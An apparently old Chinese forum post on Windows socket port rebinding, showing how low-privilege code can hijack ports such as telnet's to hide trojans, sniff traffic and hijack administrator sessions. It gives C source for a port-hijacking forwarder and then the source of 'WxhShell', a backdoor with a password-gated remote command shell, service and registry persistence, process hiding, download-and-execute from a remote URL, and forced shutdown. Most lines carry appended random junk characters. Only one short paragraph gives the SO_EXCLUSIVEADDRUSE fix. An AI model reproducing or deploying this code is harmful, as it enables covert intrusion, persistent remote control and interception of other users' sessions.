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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J8;Okzb!L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f xtxu?A>  
]:et~pfW  
  saddr.sin_family = AF_INET; H$tb;:  
|$e:*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "={L+di:M  
pjN:&#Y]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >nry0 ;z0,  
}bMWTT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C`4gsqD;Z  
yvxl_*Ds8  
  这意味着什么?意味着可以进行如下的攻击: \hbiU ]  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =i6:puf  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O,mip  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p)/ p!d[T/  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *48IF33&s  
bx>i6 R2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a)9rs\Is{  
DB@EVH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @ Nb%L&=P8  
s'L?;:)dyB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L'9N9CR{i  
6[?}6gQ  
  #include (vQ+e  
  #include !Iq{ 5:  
  #include }Bff,q  
  #include    .7Kk2Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1S%}xsR0  
  int main() >5Lexj  
  { x~/+RF XF  
  WORD wVersionRequested; )i!^]|$   
  DWORD ret; Kx6y" {me|  
  WSADATA wsaData; g-@h>$< 1  
  BOOL val; .Z%G@X*  
  SOCKADDR_IN saddr; 7& 6Y  
  SOCKADDR_IN scaddr; np6HUH  
  int err; $(q8y/,R*-  
  SOCKET s; \9/1L ?@  
  SOCKET sc; s[c^"@HT  
  int caddsize; 7co`Zw4}g  
  HANDLE mt; CV^c",b_  
  DWORD tid;   P(h5=0`*PR  
  wVersionRequested = MAKEWORD( 2, 2 ); nGrVw&  
  err = WSAStartup( wVersionRequested, &wsaData ); e|'N(D}h*  
  if ( err != 0 ) { o^ h(#%O  
  printf("error!WSAStartup failed!\n"); QnKC#   
  return -1; !R:y'Y%j  
  } D,rZ0?R  
  saddr.sin_family = AF_INET; RJc%, ]:  
   HDS"F.l5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x / XkD]Hq  
=n0*{~r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2)\vj5<~$  
  saddr.sin_port = htons(23); 7 g6RiH}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $TG?4  
  { `WlE| G[  
  printf("error!socket failed!\n"); t ;-L{`mW  
  return -1; 0kLEBoOh  
  } mG(N:n%*K  
  val = TRUE; {XnPx? V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <qY5SV,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V5 MO}  
  { $qm~c[x%  
  printf("error!setsockopt failed!\n"); Y60"M4j  
  return -1; i\p:#'zk5  
  } b5 Q NEi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {ZqQ!!b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '_o@V O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lbkL yp2  
^ d\SPZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xzk}[3P{  
  { Qpu3(`d<  
  ret=GetLastError(); a [C&e,)}  
  printf("error!bind failed!\n"); l$XA5#k  
  return -1; wkikD  
  } IZ~.{UQ  
  listen(s,2); B8~= RmWLl  
  while(1) pFIecca w  
  { #nEL~&  
  caddsize = sizeof(scaddr); gX*K&*q   
  //接受连接请求 .#!mDlY;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~B_ D@gV|  
  if(sc!=INVALID_SOCKET) RvW.@#EH0  
  { _4R,Ej}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yNva1I  
  if(mt==NULL) t)I0lnbs  
  { kxo.v|)8  
  printf("Thread Creat Failed!\n"); IVteF*8hU  
  break; oVkr3K Z  
  } }1m_o@{3P  
  } s*JE)  
  CloseHandle(mt); O5-;I,)H  
  } e &3#2_  
  closesocket(s); 2Xgx*'t\  
  WSACleanup(); o!Fl]3F  
  return 0; pULsGb  
  }   ou6j*eSN  
  DWORD WINAPI ClientThread(LPVOID lpParam) a8JN19}D  
  { j9xXKa5  
  SOCKET ss = (SOCKET)lpParam; ./.=Rw  
  SOCKET sc; 0j$OE  
  unsigned char buf[4096]; 'v`_Ii|-  
  SOCKADDR_IN saddr; h{/ve`F>@  
  long num; BKA]G)G7u!  
  DWORD val; P<L&c_u  
  DWORD ret; bp%S62Dj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H[BYE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U;gp)=JNT  
  saddr.sin_family = AF_INET; RpN <=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -f.R#J$2  
  saddr.sin_port = htons(23); b *9-}g:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o+^Eu}[.  
  { )ddsyFGW  
  printf("error!socket failed!\n"); gj;@?o0  
  return -1; IJIQ" s  
  } oKiD8':  
  val = 100; BD'NuI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) STB-guia5  
  { i4VK{G~g"  
  ret = GetLastError(); .. UoyBV  
  return -1; w_H2gaQ  
  } f0FP9t3k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~04[KG  
  { 8uA<G/Q;  
  ret = GetLastError(); K;C_Z/<%  
  return -1; p`p?li  
  } 9K$]h2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yoW> BX  
  { v= 8VvT 8  
  printf("error!socket connect failed!\n"); wA",SBGX  
  closesocket(sc); r=0j7^B#  
  closesocket(ss); %,;gP.dh7  
  return -1; * gHCy4u{  
  } w"6aha*%7  
  while(1) B_tQeM  
  { ~#t*pOC5BR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {? 2;0}3?;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >KHp-|0pv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 en%B>]QI  
  num = recv(ss,buf,4096,0); hiIya WU  
  if(num>0) 1t#XQ?8  
  send(sc,buf,num,0); _XWnS9  
  else if(num==0) a7 =YG6[  
  break; m0C{SBn-M  
  num = recv(sc,buf,4096,0); req-Q |  
  if(num>0) lG 8dI\`  
  send(ss,buf,num,0); R9r)C{63S&  
  else if(num==0) 952V@.Zp  
  break; 1x;@~yU  
  } Y2D >tpqNw  
  closesocket(ss); 22'vm~2E  
  closesocket(sc); GVZTDrC  
  return 0 ; e3pnk =u  
  } `/c@nxh  
<b'1#Pd>0  
qzHU)Ns(_  
========================================================== sy=dY@W^  
lfRH`u  
下边附上一个代码,,WXhSHELL ?#i|>MRR>  
=G*z 5 3  
========================================================== [!Ao,rt?Vg  
s"N\82z)  
#include "stdafx.h" | F8]Xnds  
iAgOnk[  
#include <stdio.h> hWm0$v 1p  
#include <string.h> ~Q0&P!k  
#include <windows.h> #XfT1  
#include <winsock2.h> ILNXaJ'0a  
#include <winsvc.h> s4N,^_j  
#include <urlmon.h> w?i)/q  
A`g.[7  
#pragma comment (lib, "Ws2_32.lib") oHk27U G  
#pragma comment (lib, "urlmon.lib") ~\3l!zIq  
^t7_3%%w  
#define MAX_USER   100 // 最大客户端连接数 Gg}t-_M  
#define BUF_SOCK   200 // sock buffer t)KPp|&  
#define KEY_BUFF   255 // 输入 buffer vv!Bo~L1,  
w~p4S+k&  
#define REBOOT     0   // 重启 PH[4y:^DN  
#define SHUTDOWN   1   // 关机 :|Upx4]Ec  
-G FwFkWm  
#define DEF_PORT   5000 // 监听端口 k}#@8n|b  
0xLkyt0  
#define REG_LEN     16   // 注册表键长度 K(' 9l& A  
#define SVC_LEN     80   // NT服务名长度 ;tm3B2  
pA*i!.E/b  
// 从dll定义API |K6nOX!i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ["<5?!bU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v,8Si'"i+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J#+Op/mmo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ": nI_~q  
@ }ZGY^  
// wxhshell配置信息 )G mb? !/^  
struct WSCFG { i:;$oT  
  int ws_port;         // 监听端口 1T:)Zv'  
  char ws_passstr[REG_LEN]; // 口令 w~ijD ^ g  
  int ws_autoins;       // 安装标记, 1=yes 0=no r.?qEe8VV  
  char ws_regname[REG_LEN]; // 注册表键名 dWMccn;-m  
  char ws_svcname[REG_LEN]; // 服务名 rYD']%2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xNn>+J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DZ,<Jmg&e*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 makaI0M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 87R%ke  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" coW)_~U|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hi$#!OU  
^kc>m$HY  
}; )8 oEs  
$ V3n~.=  
// default Wxhshell configuration 9fCiLlI  
struct WSCFG wscfg={DEF_PORT, xP XoJN  
    "xuhuanlingzhe", Oib[\O7[z  
    1, XC :;Rq'j  
    "Wxhshell", (\T8!s{AO  
    "Wxhshell", \dC.%#  
            "WxhShell Service", &~z+R="=  
    "Wrsky Windows CmdShell Service", F@B  
    "Please Input Your Password: ", ;OQ#@|D  
  1, N'htcC  
  "http://www.wrsky.com/wxhshell.exe", ]r"31.w(  
  "Wxhshell.exe" ~W2:NQ>i  
    }; #( $k 3OA  
@?'t@P:4  
// 消息定义模块 Q]yV:7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1'(_>S5CG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K-N]h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (xI)"{   
char *msg_ws_ext="\n\rExit."; 0f_66`  
char *msg_ws_end="\n\rQuit."; ,R7=]~<io"  
char *msg_ws_boot="\n\rReboot..."; :!r9 =N9  
char *msg_ws_poff="\n\rShutdown..."; 6-)7:9y  
char *msg_ws_down="\n\rSave to "; )6O\WB|  
md1EJ1\14  
char *msg_ws_err="\n\rErr!"; |#Yu.c*  
char *msg_ws_ok="\n\rOK!"; XLkL#&Ir  
U>e3_td3,  
char ExeFile[MAX_PATH]; s :-8 Z\,  
int nUser = 0; 2hjre3"?  
HANDLE handles[MAX_USER]; Z"teZ0H  
int OsIsNt; }CB=c]p  
=NVZ$KOZ  
SERVICE_STATUS       serviceStatus; (mD-FR@#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  }qgqb  
F{a0X0ru~  
// 函数声明 9}K(Q=  
int Install(void); :F!dTD$  
int Uninstall(void); ]be 0I)  
int DownloadFile(char *sURL, SOCKET wsh); "1gk-  
int Boot(int flag); | TQedC  
void HideProc(void); 23B^g  
int GetOsVer(void); a'*5PaXU@/  
int Wxhshell(SOCKET wsl); T U"K#V&u  
void TalkWithClient(void *cs); 2n-Tpay0  
int CmdShell(SOCKET sock); /-G qG)PX  
int StartFromService(void); g:~?U*f-  
int StartWxhshell(LPSTR lpCmdLine); (hRgYwUa<  
nzQYn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o{S}e!Vb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !Vp,YN+yN  
Cu)%s  
// 数据结构和表定义 S<2CG)K[  
SERVICE_TABLE_ENTRY DispatchTable[] = Q G=-LXv:@  
{ 7Ap~7)z[  
{wscfg.ws_svcname, NTServiceMain}, $v?! 6:  
{NULL, NULL} )<]w23i  
}; -N-4l  
~u~[E  
// 自我安装 aOAwezfYR  
int Install(void) <'o'H  
{ }Uqa8&  
  char svExeFile[MAX_PATH]; Xn ZX *Y]"  
  HKEY key; c4qp3B_w  
  strcpy(svExeFile,ExeFile); ' 5OVs:)"^  
x[.z"$T@  
// 如果是win9x系统,修改注册表设为自启动 }jyS\drJ  
if(!OsIsNt) { @kCD.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mvL0F%\.\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <L!~f`nH2  
  RegCloseKey(key); yuy+}]uB@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E |GK3/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c9ov;Bw6S  
  RegCloseKey(key); yG4LQE  
  return 0; !mErt2UJl  
    } vhE}{ED  
  } `1[Sv"  
} upEPv .h  
else { H[_uVv;}6  
Fy(nu-W  
// 如果是NT以上系统,安装为系统服务 UVoLHd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fgc:6<MGM  
if (schSCManager!=0) W:+2We@  
{ ;SlS!6.W-  
  SC_HANDLE schService = CreateService MRVz:g\mi  
  ( u{{xnyl?  
  schSCManager, x9o^9QJh  
  wscfg.ws_svcname, 8NF;k5   
  wscfg.ws_svcdisp, 0@mX4.!  
  SERVICE_ALL_ACCESS, 1VyO?KX '  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y9co?!J 5M  
  SERVICE_AUTO_START, !EmR(x  
  SERVICE_ERROR_NORMAL, hO<w]jV,  
  svExeFile, .5[LQR  
  NULL, Oz9Mqcx  
  NULL, 7L~ zI>2  
  NULL, f'i8Mm4IL  
  NULL, ,C'w(af@}  
  NULL +VpE-X=T  
  ); l]kl V+9t  
  if (schService!=0) TLL[F;uZ  
  { J:-TINeB  
  CloseServiceHandle(schService); 4pTu P /  
  CloseServiceHandle(schSCManager); 5dNf$a0E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o|*|  
  strcat(svExeFile,wscfg.ws_svcname); PHiX:0zT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9bcyPN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6<Pg>Bg  
  RegCloseKey(key); #+ lq7HJ1  
  return 0; HfeflGme*  
    } D@b<}J>0'  
  } feq6!k7  
  CloseServiceHandle(schSCManager); 3_eml\CY  
} W.6 JnYLQ&  
} +_XbHjhN/  
&F*QYz[  
return 1; :_YG/0%I  
} qxcBj  
3 ws(uF9$  
// 自我卸载 LX?r=_\  
int Uninstall(void) 53+rpU_  
{ eN?P) ,  
  HKEY key; 46?F+,Rzl  
JQh s=Xg  
if(!OsIsNt) { IOSoc 7+"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RWPd S  
  RegDeleteValue(key,wscfg.ws_regname); y>cmKE  
  RegCloseKey(key); $J0~2TV<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tDLk ZCP  
  RegDeleteValue(key,wscfg.ws_regname); 1 GHgwT  
  RegCloseKey(key); yjFQk,A  
  return 0; dVG UhXN6  
  } 7 KdM>1!  
} nh&<fnh  
} tfKeo|DM"  
else { <VxpMF  
e%c5 OZ3~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bq&S?! =s  
if (schSCManager!=0) ._8cJf.ae  
{ 6.7 Kp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L(n~@ gq  
  if (schService!=0) 9-iB?a7{.  
  { m^x\@!N:(  
  if(DeleteService(schService)!=0) { I \%Lb z  
  CloseServiceHandle(schService); u`Qcw|R+  
  CloseServiceHandle(schSCManager); t7+Ic  
  return 0; v9`B.(Ru  
  } K2MNaB   
  CloseServiceHandle(schService); KeHE\Fq^V  
  } v4##(~Tu  
  CloseServiceHandle(schSCManager); o3=S<|V  
} qe"6#@b *|  
} nzJi)A./  
z==}~|5  
return 1; [,$mpJCI  
} S!!\!w>N  
-xgmc-LGo  
// 从指定url下载文件 -x\l<\*  
int DownloadFile(char *sURL, SOCKET wsh) gH// TbS  
{ d#:J\2V"R  
  HRESULT hr; y$9 t!cx  
char seps[]= "/"; rkc%S5we  
char *token; L\b_,'I  
char *file; 2LH;d`H[0  
char myURL[MAX_PATH]; m9w ; a  
char myFILE[MAX_PATH]; zp-~'kIJ  
t}+c/ C%b=  
strcpy(myURL,sURL); OSi9J.]O  
  token=strtok(myURL,seps); 5f@YrTO[@  
  while(token!=NULL) \0T*msYQ  
  { }e =GvWGa  
    file=token; +9rbQ? '  
  token=strtok(NULL,seps); (Ha}xwA~(  
  } WzbN=& C]h  
o? "@9O?  
GetCurrentDirectory(MAX_PATH,myFILE); 6@ ^`-N;  
strcat(myFILE, "\\"); kR?n%`&k  
strcat(myFILE, file); #|h8u`  
  send(wsh,myFILE,strlen(myFILE),0); u N0fWj]  
send(wsh,"...",3,0); IMrOPwjc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !rGI),  
  if(hr==S_OK) %)ov,p |  
return 0; ~cj:AIF  
else 8vo7~6yy  
return 1; ;OqLNfU3y  
}C`0" 1  
} TEZqAR]G  
W%Q>< 'c  
// 系统电源模块 r9*H-V$  
int Boot(int flag) [z@RgDX v  
{ Eakjsk  
  HANDLE hToken; A_U0HVx_  
  TOKEN_PRIVILEGES tkp;  HcS^3^Y  
3"D00~  
  if(OsIsNt) { 8>;o MM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c}s3c >`d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); irj}:f;!eF  
    tkp.PrivilegeCount = 1; &scD)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8@ g D03  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RW8u0 ?b  
if(flag==REBOOT) { |noTIAI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `&7? +s  
  return 0; 98nLj9  
} A~SSu.L@  
else { io_64K+K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wb"t:(>&  
  return 0; vu >@_hv  
} !&%bl  
  }  PMZzzZ  
  else { me\)JCZpb{  
if(flag==REBOOT) { )d Dmq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hmk5 1  
  return 0; :b)@h|4  
} <rxem(PPu  
else { s7LX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h0}-1kVT^  
  return 0; m':m`,c!  
} $7g(-W  
} J3^Ir [  
&_gmQ;%t:  
return 1; {a%cU[q  
} ||NCVGJG  
lph_cY3p  
// win9x进程隐藏模块 ]TN}` ]  
void HideProc(void) >.>5%  
{ rMloj8O*  
4}j}8y2)H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i?9Lf  
  if ( hKernel != NULL ) V^5 t~)#46  
  { 1-<Xi-=^{t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a)b@en;v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |[ofc!/  
    FreeLibrary(hKernel); dq&d>f1  
  } 'KG`{K$  
(>23[;.0  
return; S_=uv)%a  
} $ E6uA}s  
VtFh1FDI\  
// 获取操作系统版本 @^@-A\7[KO  
int GetOsVer(void) Kz;VAH  
{ E"!*ASN  
  OSVERSIONINFO winfo; ,B><la87  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }o.ZCACYg  
  GetVersionEx(&winfo); e{/\znBS%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QB>e(j%  
  return 1;  _>l,%n  
  else I&0yUhn  
  return 0; z /=v@@tj  
} = %m/  
g!UM8I-$  
// 客户端句柄模块 Zup?nP2GkT  
int Wxhshell(SOCKET wsl) b%F*Nr  
{ 5+J/Qm8{bb  
  SOCKET wsh; 7[\B{N9&W  
  struct sockaddr_in client; ^4:= b  
  DWORD myID; ;RI,zQ  
s+11) ~  
  while(nUser<MAX_USER) :OM>z4mQ  
{ 3z<t#  
  int nSize=sizeof(client); h2]Od(^[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gg9W7%t/  
  if(wsh==INVALID_SOCKET) return 1; n:+M Nr  
2ou?:5i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tKs0]8tc  
if(handles[nUser]==0) ~ +Y;jA dU  
  closesocket(wsh); 0=iJT4IEJ  
else bH&H\ Mx_k  
  nUser++; f$L5=V  
  } wP i=+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \wd~ Y  
UJI1n?~  
  return 0; tg:x}n  
} h4C B1K  
4ET P  
// 关闭 socket T&%>/7I>  
void CloseIt(SOCKET wsh) uIu0"pv`x  
{ Tm `CA0@  
closesocket(wsh); nC w1H kW  
nUser--; 4 _ 3\4  
ExitThread(0); 1JM~Ls%Z  
} bm^ou#]|  
LX8vVj8K  
// 客户端请求句柄 AjpQb ~\  
void TalkWithClient(void *cs) 8PQ& 7o  
{ lL?;?V~  
~I'h iV^-  
  SOCKET wsh=(SOCKET)cs; C5m*pGImG  
  char pwd[SVC_LEN]; `]Xb w^Y'x  
  char cmd[KEY_BUFF]; i^8Zp;O"f  
char chr[1]; c{[d@jt O  
int i,j; 6Z3v]X  
p|Ln;aYc  
  while (nUser < MAX_USER) { 82$^pg>  
|Q{l ]D  
if(wscfg.ws_passstr) { tY7u\Y;^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wL*z+>5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UuN(+&oD-  
  //ZeroMemory(pwd,KEY_BUFF); kn! J`"b  
      i=0; u5lj+?  
  while(i<SVC_LEN) { :ZUy(8%Wl  
Yy&0b(m U  
  // 设置超时 7BC9cS(0w9  
  fd_set FdRead; #xO`k1W.  
  struct timeval TimeOut; >IRo]-,  
  FD_ZERO(&FdRead); k&Sg`'LG8  
  FD_SET(wsh,&FdRead); 6A%Y/oU+2  
  TimeOut.tv_sec=8; 3vy5JTCz~  
  TimeOut.tv_usec=0; Y }0-&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hM;EUWv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3M^ /   
C?z C|0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @x)z" )>  
  pwd=chr[0]; <-$4?}  
  if(chr[0]==0xd || chr[0]==0xa) { ]^s4NXf+  
  pwd=0; k|w6&k3  
  break; <Wl! Qog'  
  } $u>^A<TBN  
  i++; \PL92HV  
    } ;Eck7nRA)  
&We'omq  
  // 如果是非法用户,关闭 socket ,Qp58u2V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .[~E}O  
} _I2AJn`#  
7bTs+C_;7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,"DkMK4%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @%RDw*L(  
?L|@{RS{|  
while(1) { |gT$M _}  
iE$0-Qe[3  
  ZeroMemory(cmd,KEY_BUFF); !j\  yt  
I5  
      // 自动支持客户端 telnet标准   U,)+wZJ  
  j=0; HgbJsv$  
  while(j<KEY_BUFF) { WWD\EDnS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :I1bGa&I  
  cmd[j]=chr[0]; a "8/y4Y  
  if(chr[0]==0xa || chr[0]==0xd) { pS51fF9  
  cmd[j]=0; 8^+Q n/b_%  
  break; 7qu hp\  
  } |rsu+0Mtz  
  j++; Jzh_`jW0l  
    } 9-9`;Z  
1#XMUbFc  
  // 下载文件 ! G,Ru~j5:  
  if(strstr(cmd,"http://")) { {n{ j*+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'j>Q7M7q{  
  if(DownloadFile(cmd,wsh)) TqCzpf&&h/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hz28L$  
  else .,-t}5(VSq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tXwnK[~x  
  } E+csK*A7  
  else { ) 3Eax_?Z  
2#ypM9  
    switch(cmd[0]) { Au@U;a4UU  
  `2 Z  
  // 帮助 D L<r2h  
  case '?': { (7&[!PS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `nn;E% n  
    break; kC6J@t)  
  } 0t'WM=W<!8  
  // 安装 ;IE|XR(  
  case 'i': { Vtr 0=-m&  
    if(Install()) Tj@s\@hv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XoL9:s(m~  
    else n*hHqZl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @<r  ;>G  
    break; ' !ZFK}  
    } 89?AcZ.D  
  // 卸载 $D<LND=o=  
  case 'r': { d 6j'[  
    if(Uninstall()) !Zlvz%X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t@.M;b8  
    else ]t(;bD hT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Y!5c 2~`;  
    break; zH eqV  
    } !*'uPw:l2  
  // 显示 wxhshell 所在路径 ~;9B\fE`  
  case 'p': { WfL5. &  
    char svExeFile[MAX_PATH]; ":tQYo]d  
    strcpy(svExeFile,"\n\r"); f@]4udc e  
      strcat(svExeFile,ExeFile); 2a 3i]e5Kt  
        send(wsh,svExeFile,strlen(svExeFile),0); #0zMPh /U}  
    break; m?`U;R[  
    } "at*G>+  
  // 重启 ag+$qU  
  case 'b': { +W x/zo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !:'%'@uc  
    if(Boot(REBOOT)) \,+act"v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ckHHD|  
    else { YQ:F Bj  
    closesocket(wsh); ` zeZ7:  
    ExitThread(0); :U$<h  
    } nB[Aw7^|A  
    break; Xb@lKX5Re  
    } >j%HVRW  
  // 关机 /=).)<&|R  
  case 'd': { o4^rE<vJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7Y"CeU-S  
